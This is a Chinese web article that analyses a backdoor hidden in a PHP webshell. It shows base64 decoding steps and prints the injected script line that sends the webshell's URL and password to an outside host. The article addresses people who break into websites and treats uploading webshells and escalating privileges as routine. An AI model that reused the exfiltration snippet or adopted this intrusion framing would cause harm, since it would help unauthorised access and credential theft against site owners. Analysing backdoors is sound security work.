当前位置:首页 >> 网络通讯 >> 网络安全 >> 内容

揭秘phpwebshell中的后门

时间:2013/4/19 12:10:00 作者:平凡之路 来源:xuhantao.com 浏览:

仅将此文献给还在为别人的webshell做出贡献的同学。

拿下一个网站后,理所当然的传webshll,提权。

但是一些人会在webshell中插入小小的一段代码,这样你辛苦拿下的webshell的地址和密码等等就会统统发送给在webshell插后门的人。搜狗电脑知识网

这段代码可大可小,下面是我随便找的一个phpwebshell,来解密一下其中的后门。

 

首先是用记事本打开这个webshell,可以看到,这个shell的大部分代码都是经过base64编码的。运行时在解码运行,这样别人就不能直接看到明文的代码。

 

 

 

接下来就是解密的过程了,首先,我们将eval改成print_r

 

 

 

 

这里说一下,解密之前要先把PHP的环境搭建好。

然后保存运行。

 

 

 

 

运行后可以看到,基本的代码都直接显示了出来,这样就得到了这个webshell中的大部分代码,但是图中还有一部分是base64编码的代码,不过只是一小段,所以我们可以自己写个小的php来显示出来

<?php
print_r(base64_decode('经过base64编码的代码'));
?>

首先我找到的第一段编码是base64_decode(‘PHNjcmlwdCBzcmM9J2h0dHA6Ly8lMzglNjMlNjMlNj
UlMkUlNjMlNkYlNkQvJTYzJTY1JTcyJTc0Lz9jZXJ0PTEzJnU9′)

这段代码赋值给了$copyurl变量。

 

把这段编码放进上面的那一小段解密用的php内,然后运行。

可以看到,运行结果是空白的,但是查看源文件后可以看到那么一段script。其中后面的带百分号的可以去URL解码一下

这就是解码后的网址了。
<script src=’?cert=13&u=

先复制这段可疑的script,放文本内。

 

在之前那段base64编码的下面,我又发现了被赋值给变量$copyurll的编码base64_decode(‘Jz48L3NjcmlwdD4=’)
将这段编码通过上面的方法解码后显示的结果是:’></script>

这段代码正好和上面解密的一段结合成了完整的一段script

<script src=’?cert=13&u=’></script>

 

之后我们可以看看这段可疑的代码是做什么用的,因为是分别赋值给了$copyurl和$copyurll,所以我们直接搜索这两个变量就行了

以下是搜索的结果

 


可以看到:echo “”.$copyurl.$serveru.”&p=”.$serverp.$copyurll.”";
这段代码里,$serveru和$serverp分别是webshell地址和webshell的密码。

那echo完整的语句就成了:echo <script src=’?cert=13&u=webshell地址&p=webshell密码’></script>

再结合这段echo前面的代码可以看出,在验证webshell密码正确后,再把密码通过script提交到解密后的网址中。

 

通过以上解密,就可以看出这个webshell是已经被人插入了后门,当然也有可能不止这一个后门。

所以以后大家在用webshell首先要注意一下是否已经被人插入了后门,否则你可能辛苦拿下的网站别人轻而易举的直接登陆你的webshell就控制了这个网站

相关文章
  • 没有相关文章
共有评论 0相关评论
发表我的评论
  • 大名:
  • 内容:
  • 徐汉涛(www.xuhantao.com) © 2024 版权所有 All Rights Reserved.
  • 部分内容来自网络,如有侵权请联系站长尽快处理 站长QQ:965898558(广告及站内业务受理) 网站备案号:蒙ICP备15000590号-1